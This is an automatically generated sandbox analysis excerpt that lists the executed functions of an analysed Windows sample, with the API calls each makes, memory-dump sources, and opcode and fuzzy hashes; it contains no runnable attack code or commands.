Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.7%
Total number of Nodes:	302
Total number of Limit Nodes:	21

Executed Functions

Function 09EA2DF0 Relevance: 5.3, Strings: 4, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 09EA2E8C
Hwq, xrefs: 09EA2F65
(wq, xrefs: 09EA2F39
(&sq, xrefs: 09EA30C1

Memory Dump Source

Source File: 00000000.00000002.2299701658.0000000009EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ea0000_404.jbxd

Similarity

API ID:
String ID: $(&sq$(wq$Hwq
API String ID: 0-2838313881
Opcode ID: 27dcbc101dcad54fcc77e233718117d8eb05f15752e97a9520fdb878605d1271
Instruction ID: 3b1662364cb1da4296f94f9d7fc262f6464025431a533466f7619813d1bdc035
Opcode Fuzzy Hash: 27dcbc101dcad54fcc77e233718117d8eb05f15752e97a9520fdb878605d1271
Instruction Fuzzy Hash: AA918E71F002199FDB19DF69C854AAFBAF6EF88300F10E429E415EB350DB35AD458BA0

Function 09EA0040 Relevance: 1.9, APIs: 1, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2299701658.0000000009EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ea0000_404.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4aa82fb8928b556326e69cd55869b5fae6a064723247e17ac94e42a3c2548be
Instruction ID: 6ccb2414054def6df86cd38453b2e0abbbcb468b77afedf77934fb6fe4856e73
Opcode Fuzzy Hash: a4aa82fb8928b556326e69cd55869b5fae6a064723247e17ac94e42a3c2548be
Instruction Fuzzy Hash: 12F14A30A00208CFDB14DFA9C989BADBBF1BF89315F159169E409AF266DB71ED45CB40

Function 09EAAFB0 Relevance: 1.6, Strings: 1, Instructions: 350
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

J!, xrefs: 09EAB1AB

Memory Dump Source

Source File: 00000000.00000002.2299701658.0000000009EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ea0000_404.jbxd

Similarity

API ID:
String ID: J!
API String ID: 0-2332626447
Opcode ID: c3d770871b6000dec4cec8482bcbc6436798fb29bf766a0d99f5e921da3cc31b
Instruction ID: bc3d3865732291e9dee0aab5337746e0b3ac38ad3af294839679bb57bbb00cc4
Opcode Fuzzy Hash: c3d770871b6000dec4cec8482bcbc6436798fb29bf766a0d99f5e921da3cc31b
Instruction Fuzzy Hash: 85D157717006148FEB19DF76C4A0BAE77E6AF89304F14446EE24ADB2A1DB35EC05CB61

Function 024FD069 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 148
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 024FD0F6
GetCurrentThread.KERNEL32 ref: 024FD133
GetCurrentProcess.KERNEL32 ref: 024FD170
GetCurrentThreadId.KERNEL32 ref: 024FD1C9

Strings

4'sq, xrefs: 024FD041

Memory Dump Source

Source File: 00000000.00000002.2292083241.00000000024F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24f0000_404.jbxd

Similarity

API ID: Current$ProcessThread
String ID: 4'sq
API String ID: 2063062207-1075809040
Opcode ID: 8a27b431da3306cac6372a5524142f43d35bd5b0cb764288db7e6d2c22535187
Instruction ID: 769e1121844e9be05017efc325c2bc49e7649055d16cdf1dde25672e2b0789e8
Opcode Fuzzy Hash: 8a27b431da3306cac6372a5524142f43d35bd5b0cb764288db7e6d2c22535187
Instruction Fuzzy Hash: B46179B0E01249CFDB54DFA9DA88B9EBBF5EF88314F20849AE009A7351DB355944CF61

Function 024FD078 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 024FD0F6
GetCurrentThread.KERNEL32 ref: 024FD133
GetCurrentProcess.KERNEL32 ref: 024FD170
GetCurrentThreadId.KERNEL32 ref: 024FD1C9

Memory Dump Source

Source File: 00000000.00000002.2292083241.00000000024F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24f0000_404.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: cbd481b4dd65d12e028f7441aa04724921dcbd1a658c347680aa895352c94f84
Instruction ID: dfc8336b635fc953efe8a17b33a3b9bab3a7c1fb889b841f1ef8f9f3e41bc767
Opcode Fuzzy Hash: cbd481b4dd65d12e028f7441aa04724921dcbd1a658c347680aa895352c94f84
Instruction Fuzzy Hash: DD5167B0D01209CFDB54DFAADA48B9EBBF5EF88314F20845AE409A7360DB345944CF65

Function 024FADF0 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 024FB046

Memory Dump Source

Source File: 00000000.00000002.2292083241.00000000024F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24f0000_404.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 37c2417f2f61c5737757b151aa17eff420f27eb5d12d827011463ed8c676f2b4
Instruction ID: 66ba2572a6ed00b8870251f5e5623f9724efd47b9fea2ad6d8ff2dd3ce17dcc0
Opcode Fuzzy Hash: 37c2417f2f61c5737757b151aa17eff420f27eb5d12d827011463ed8c676f2b4
Instruction Fuzzy Hash: 807113B0A00B158FDB64DF2AD48475ABBF1FF88304F00892ED58A97B40E774E945CB90

Function 09EAC5E0 Relevance: 1.7, APIs: 1, Instructions: 157
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 09EAC6A0

Memory Dump Source

Source File: 00000000.00000002.2299701658.0000000009EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ea0000_404.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: fadf4b765905389fdc8de4a7206f6ee0b2f39c76de49511ca18eda0972d22ae5
Instruction ID: ec7c359d4399753c51a2fbe87c5ed57adac016b7088f8dd9eb6f93cb3d1ca38e
Opcode Fuzzy Hash: fadf4b765905389fdc8de4a7206f6ee0b2f39c76de49511ca18eda0972d22ae5
Instruction Fuzzy Hash: 4B614674E00209EFDB14DFA9D594BADBBB1BF48314F249069E841AB3A1DB74AC85CF50

Function 024F449C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 024F59A9

Memory Dump Source

Source File: 00000000.00000002.2292083241.00000000024F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24f0000_404.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: ef76b19e2e41929712868ea0db90abad7abc340f962f35d08f0261cf7c82308b
Instruction ID: 8aa9e7e3a081899f50f0ab7c2a6bf17f46f337315f2bf1215d43a2fb4211c2d4
Opcode Fuzzy Hash: ef76b19e2e41929712868ea0db90abad7abc340f962f35d08f0261cf7c82308b
Instruction Fuzzy Hash: 6341D1B0D00719CBDB24DFA9C984B8EBBB5FF88304F60806AD519AB251DB756949CF90

Function 024F58ED Relevance: 1.6, APIs: 1, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 024F59A9

Memory Dump Source

Source File: 00000000.00000002.2292083241.00000000024F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24f0000_404.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a52371d4fbda83a2376f147d55a0c013c596c4409fcf4ea85799ac9ea7a0c5e2
Instruction ID: 46e1bafabeee2305502291cfb83195127d43d2eb9690a3c617c925a11f96f818
Opcode Fuzzy Hash: a52371d4fbda83a2376f147d55a0c013c596c4409fcf4ea85799ac9ea7a0c5e2
Instruction Fuzzy Hash: 1B41E2B0D00719CEDF24DFA9C984B8EBBB5FF88304F60805AD418AB251DB756949CF90

Function 086F6A61 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassInfoW.USER32(?,00000000), ref: 086F6B14

Memory Dump Source

Source File: 00000000.00000002.2298794389.00000000086F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_86f0000_404.jbxd

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: d69eba83666a9870c55bbad885b9a598274bcc7137fa593bc69e219e7c033ed2
Instruction ID: dfbeadf31a97e919ecdec1c6d55e1026c0856475bd38f0ea970188b0db274e05
Opcode Fuzzy Hash: d69eba83666a9870c55bbad885b9a598274bcc7137fa593bc69e219e7c033ed2
Instruction Fuzzy Hash: 9721A9B29006088FDB08CF4AC4447DAFBF0EF98324F28C1AED108A7252E339D546CB24

Function 09EAD9CF Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 09EADA52

Memory Dump Source

Source File: 00000000.00000002.2299701658.0000000009EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ea0000_404.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 38f9d5dc1fc9bd30fbc8c0996812ffde1ec0e4bb1690b7becfcd437961ce8bfe
Instruction ID: 4a067e835ef72f22a87738f3aa45f17be8d43a9764237fa9eb87b71249f4d2a3
Opcode Fuzzy Hash: 38f9d5dc1fc9bd30fbc8c0996812ffde1ec0e4bb1690b7becfcd437961ce8bfe
Instruction Fuzzy Hash: 742164B090024ACFCB10DFAAC484A9EFFF1FB48314F249559D419AB312C775A984CFA1

Function 086F6A90 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(?,00000000), ref: 086F6B14

Memory Dump Source

Source File: 00000000.00000002.2298794389.00000000086F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_86f0000_404.jbxd

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: ae0e296a97d5c60d3de82b55178b17ed6fe01b68f180da3eda3e49c67bc2d304
Instruction ID: 98d6b54420df1efe76282d8d9f988ff1aa34e66b79f1573e716a4760235cee49
Opcode Fuzzy Hash: ae0e296a97d5c60d3de82b55178b17ed6fe01b68f180da3eda3e49c67bc2d304
Instruction Fuzzy Hash: 2B2114B69017099FDB10CF9AC884ADEBBF9FB48310F14802AE518A7201E374A904CB65

Function 024FD2C0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 024FD347

Memory Dump Source

Source File: 00000000.00000002.2292083241.00000000024F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24f0000_404.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 22abc4a3ed213eb6b16e1c449acda4441283e35f9a6c7148bf6f23bc763240af
Instruction ID: 46580ee6da107762a890d663d1829b6ce86bcd62026b42464b13982e52c142d4
Opcode Fuzzy Hash: 22abc4a3ed213eb6b16e1c449acda4441283e35f9a6c7148bf6f23bc763240af
Instruction Fuzzy Hash: 4321E4B5D00209DFDB10CF9AD984ADEBBF9EB48320F14801AE914A3310C378A950CFA1

Function 024FD2B9 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 024FD347

Memory Dump Source

Source File: 00000000.00000002.2292083241.00000000024F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24f0000_404.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e0580921de425aac9300358d218e183263e0daa3ba423ac941a14832619edd3b
Instruction ID: b5d8180d312caa8d810b415b6c5754d5a01ceb653d97643e97a5aaa19fb73084
Opcode Fuzzy Hash: e0580921de425aac9300358d218e183263e0daa3ba423ac941a14832619edd3b
Instruction Fuzzy Hash: FE21C2B5D01249DFDB10CFAAD984ADEBBF5EB48324F24841AE918B7350C378A954CF61

Function 086F6A98 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(?,00000000), ref: 086F6B14

Memory Dump Source

Source File: 00000000.00000002.2298794389.00000000086F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_86f0000_404.jbxd

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: a02b6b8741cacd102f0401128cf70c875d374e26b665f44557fe7d53e1ea9a88
Instruction ID: 8528383f2d8df65531c7882190a8ee14cc3e2705b8ae49750e1f6480604eb466
Opcode Fuzzy Hash: a02b6b8741cacd102f0401128cf70c875d374e26b665f44557fe7d53e1ea9a88
Instruction Fuzzy Hash: 3121F3B29016099FDB10CF9AC984A9EFBF5EB58320F14802AE518A3341D378A904CB65

Function 09EADAC0 Relevance: 1.6, APIs: 1, Instructions: 59threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?), ref: 09EADB31

Memory Dump Source

Source File: 00000000.00000002.2299701658.0000000009EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ea0000_404.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 04056f223c59a1256f071b7c2e7a85bad31d707e7d313b2b2e6039d7d222b30e
Instruction ID: 801f8b7dcca6339c59a4450594be21c3c3b540e0c565384bd8648db8468ec2ef
Opcode Fuzzy Hash: 04056f223c59a1256f071b7c2e7a85bad31d707e7d313b2b2e6039d7d222b30e
Instruction Fuzzy Hash: 192106B1D002098FDB14DF9AC845BEEFBF9EB88324F14842AD454A7790D778A944CFA5

Function 09EADABF Relevance: 1.6, APIs: 1, Instructions: 59threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?), ref: 09EADB31

Memory Dump Source

Source File: 00000000.00000002.2299701658.0000000009EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ea0000_404.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: f72972554841bb1828ed6c654b49fd31fa29b70447f34d5ca1722e0d5a15e0a5
Instruction ID: b3f1202dc75580afc0f3968f173ee239c486ee8fd042f0b91bda8b8a718600c8
Opcode Fuzzy Hash: f72972554841bb1828ed6c654b49fd31fa29b70447f34d5ca1722e0d5a15e0a5
Instruction Fuzzy Hash: 1B2124B1D002498FDB14CFAAC845BEEFBF5EB88320F14842AD454A7690C778A944CFA1

Function 09EA0600 Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,?,?,?), ref: 09EA0670

Memory Dump Source

Source File: 00000000.00000002.2299701658.0000000009EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ea0000_404.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 13e817ddf3d6023c3455eae522473baddf9c56e7edcbce73b6f58b844f20decc
Instruction ID: 0f8494d079b0d4400a28c2ab017aef652123ec357356609535ebf89361647660
Opcode Fuzzy Hash: 13e817ddf3d6023c3455eae522473baddf9c56e7edcbce73b6f58b844f20decc
Instruction Fuzzy Hash: 3D1129B6C002099FDB10CF9AD845BDEFBF8FB48324F10841AE514A7651C378A944CFA5

Function 086F49B8 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 086F4A2A

Memory Dump Source

Source File: 00000000.00000002.2298794389.00000000086F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_86f0000_404.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: d0b03392d06978223bdfd5f243d75d4c415d51e851925f88f7414a9b01085bd3
Instruction ID: 59d9675a0bce543ade52086cd69468a94b1dcd0c4e0a7679809c874a0df424ad
Opcode Fuzzy Hash: d0b03392d06978223bdfd5f243d75d4c415d51e851925f88f7414a9b01085bd3
Instruction Fuzzy Hash: 472136B68002498FDB10CF9AC444BDEFBF4EB48320F14842ED868A3651D778A545CFA9

Function 086F49C0 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 086F4A2A

Memory Dump Source

Source File: 00000000.00000002.2298794389.00000000086F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_86f0000_404.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: ef6601d6db355ee288f853d52dd6ba89b1eec6ad307d4025d47f3c37c6ad251a
Instruction ID: 764d7a6ffee85ab230366a0ed8f077bb47495b45a17867f26a50fa85a5f0f0eb
Opcode Fuzzy Hash: ef6601d6db355ee288f853d52dd6ba89b1eec6ad307d4025d47f3c37c6ad251a
Instruction Fuzzy Hash: 2A1112B68002498FDB10CF9AC844BDEFBF5EB88320F14802AD858A3651D778A545CFA9

Function 09EA0608 Relevance: 1.6, APIs: 1, Instructions: 52windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,?,?,?), ref: 09EA0670

Memory Dump Source

Source File: 00000000.00000002.2299701658.0000000009EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ea0000_404.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: ceba8975b2e920a7fd96d3f27c7311aaf5a3dfbfc0f29678b642958c53df5165
Instruction ID: 04b2be122a556c00d5e390c748b02dd85611e9fa90fa38b4503e5a023f67a4f0
Opcode Fuzzy Hash: ceba8975b2e920a7fd96d3f27c7311aaf5a3dfbfc0f29678b642958c53df5165
Instruction Fuzzy Hash: 5C11F6B5C002499FDB10CF9AD944BDEBBF8EB48324F10842AE558A7651C378A944DFA5

Function 09EA08D8 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?), ref: 09EA093D

Memory Dump Source

Source File: 00000000.00000002.2299701658.0000000009EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ea0000_404.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 5e48935b118b53c49186eb460f1faeefcc67c341a1dee665796a3f0d24912a56
Instruction ID: 1c2ecd353bdf66788fd756a6f2dd55b647e8ad0c1d3046140024af28db476d02
Opcode Fuzzy Hash: 5e48935b118b53c49186eb460f1faeefcc67c341a1dee665796a3f0d24912a56
Instruction Fuzzy Hash: 841104B5C003499FDB10DF9AD884BDEFBF8EB48324F10842AE558A3250C378A944CFA5

Function 086F967A Relevance: 1.6, APIs: 1, Instructions: 50windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 086F96DD

Memory Dump Source

Source File: 00000000.00000002.2298794389.00000000086F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_86f0000_404.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: a3e2de4bd731963546a3a625a301e4c567b693aca16e860d3f582e2cd6095496
Instruction ID: 25359c34bbd6a7c0f9b86b0aaf7aa2d12f29f1a994bbb5fdaeb8d20af0a43ef2
Opcode Fuzzy Hash: a3e2de4bd731963546a3a625a301e4c567b693aca16e860d3f582e2cd6095496
Instruction Fuzzy Hash: 781128B58003099FDB10CF9AC845BDEBBF8EB48324F24841AE554A3741D378A944CFA5

Function 086F9680 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 086F96DD

Memory Dump Source

Source File: 00000000.00000002.2298794389.00000000086F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_86f0000_404.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: ddb731f052d8df0a7e5302ea7299cb3f5a627a324d7448a9238a3142612264e5
Instruction ID: 3031efa2497dfc8d9470e39139221b00bc8b56bf3c948a1d352a5964fd235568
Opcode Fuzzy Hash: ddb731f052d8df0a7e5302ea7299cb3f5a627a324d7448a9238a3142612264e5
Instruction Fuzzy Hash: 141125B58003098FDB10CF9AC885BDEBBF8EB48324F20841AE514A3241D378A944CFA5

Function 09EABF6C Relevance: 1.5, APIs: 1, Instructions: 47threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 09EAC938

Memory Dump Source

Source File: 00000000.00000002.2299701658.0000000009EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ea0000_404.jbxd

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 4671cc015005e75bdf86fe9d4e5cc0f7d7ffc64ef9072bc4e78d692450ae1c04
Instruction ID: d9f1be931522c41ed27a7e67abe578b6de95bd2fc22ae65550a297b0d296a741
Opcode Fuzzy Hash: 4671cc015005e75bdf86fe9d4e5cc0f7d7ffc64ef9072bc4e78d692450ae1c04
Instruction Fuzzy Hash: 831155B58002099FDB20CF89C84ABDEBFF4FB08324F20984AE554BB240C375A844CFA4

Function 024FAFE0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 024FB046

Memory Dump Source

Source File: 00000000.00000002.2292083241.00000000024F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24f0000_404.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: dcf09e5a1cd1c1290d8aeb22285d377eb072f581b2c85c3cfe31bbd639b8b333
Instruction ID: 9e75a269d7b9aac69d80466d869d6b69a96c276f5d7664cbd09434b940027d27
Opcode Fuzzy Hash: dcf09e5a1cd1c1290d8aeb22285d377eb072f581b2c85c3cfe31bbd639b8b333
Instruction Fuzzy Hash: 7F1102B6C003498FCB20DF9AC444A9EFBF4EF89224F10841AD528B7600C379A545CFA1

Function 086F4EF1 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 086F4F55

Memory Dump Source

Source File: 00000000.00000002.2298794389.00000000086F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_86f0000_404.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 3eeeaa20f2e82554f4c0cef9046cd05439eeca699f8aeb87b178a3e7e8afb3dc
Instruction ID: 7c598a1097f11766ac1e210f7b6bd3e65bfbc74c057fa1c3b71039bba4ad65ba
Opcode Fuzzy Hash: 3eeeaa20f2e82554f4c0cef9046cd05439eeca699f8aeb87b178a3e7e8afb3dc
Instruction Fuzzy Hash: 661106B68003499FDB10DF99C845BDEFBF8EB48324F248519E518A7700C379A544CFA5

Function 09EA0DA0 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 09EA0E05

Memory Dump Source

Source File: 00000000.00000002.2299701658.0000000009EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ea0000_404.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 70e6d31425d50d110f71214bfdb37190849fd98276e80840f7fd89bf2f08fc73
Instruction ID: 0ccdbf8c67607d8a58d00cd6ac7862128a1da232e49be49abee2165da179a059
Opcode Fuzzy Hash: 70e6d31425d50d110f71214bfdb37190849fd98276e80840f7fd89bf2f08fc73
Instruction Fuzzy Hash: 4711E0B5D0464A8FCB10DF9AD845B9EFBF4EB48324F24841AE458A7610C378A544CFA6

Function 086FB064 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 086FB51D

Memory Dump Source

Source File: 00000000.00000002.2298794389.00000000086F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_86f0000_404.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 1f8b7926442b9b84603b95528aa5ba0600fef618be9daac73cc1bd5209ff21a9
Instruction ID: 81953eea47a4b4b1f856e0828f7ec2844ed387a2ee05543f4d176d965bc2a43b
Opcode Fuzzy Hash: 1f8b7926442b9b84603b95528aa5ba0600fef618be9daac73cc1bd5209ff21a9
Instruction Fuzzy Hash: FE1103B59003488FCB20DF9AD545B9EBBF8EB48324F248459D519A7700C378A944CFA5

Function 086F7138 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?), ref: 086F719D

Memory Dump Source

Source File: 00000000.00000002.2298794389.00000000086F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_86f0000_404.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1295076746cbcb0adf81815d672978e16adf7d51aa49ddc30f65690c51768836
Instruction ID: 460390d89c1e5aa9eb5e5e779bf9af1d0a00a6d8e34dc370041ef19351289829
Opcode Fuzzy Hash: 1295076746cbcb0adf81815d672978e16adf7d51aa49ddc30f65690c51768836
Instruction Fuzzy Hash: 7E11E3B58003499FDB10DF99C985BDEBBF8EB48320F248419E918A3301C379A554CFA1

Function 086FB4C0 Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 086FB51D

Memory Dump Source

Source File: 00000000.00000002.2298794389.00000000086F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_86f0000_404.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 8b423a192a7405d93a1391054e9885c1e2d5aa3ecdf2cfecedac9f49dde8b96a
Instruction ID: 225c7f10253bcfc2762d1e65fff1b2ddc4db1cf6e02b4eda1a51d0c0d65e250d
Opcode Fuzzy Hash: 8b423a192a7405d93a1391054e9885c1e2d5aa3ecdf2cfecedac9f49dde8b96a
Instruction Fuzzy Hash: E71100B59002488FCB20DFAAD485BDEBFF4AF48324F24855AD519A7701C379AA44CFA5

Function 086F7140 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?), ref: 086F719D

Memory Dump Source

Source File: 00000000.00000002.2298794389.00000000086F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_86f0000_404.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: d1dc1c03e72b50765f26592f88c03e32e142e7593b13a47bf759b1a8ef8959d4
Instruction ID: 95047dafa18c034694d3dc2e474e3a92c29d3d1413f6a6a28a79d6f79407454e
Opcode Fuzzy Hash: d1dc1c03e72b50765f26592f88c03e32e142e7593b13a47bf759b1a8ef8959d4
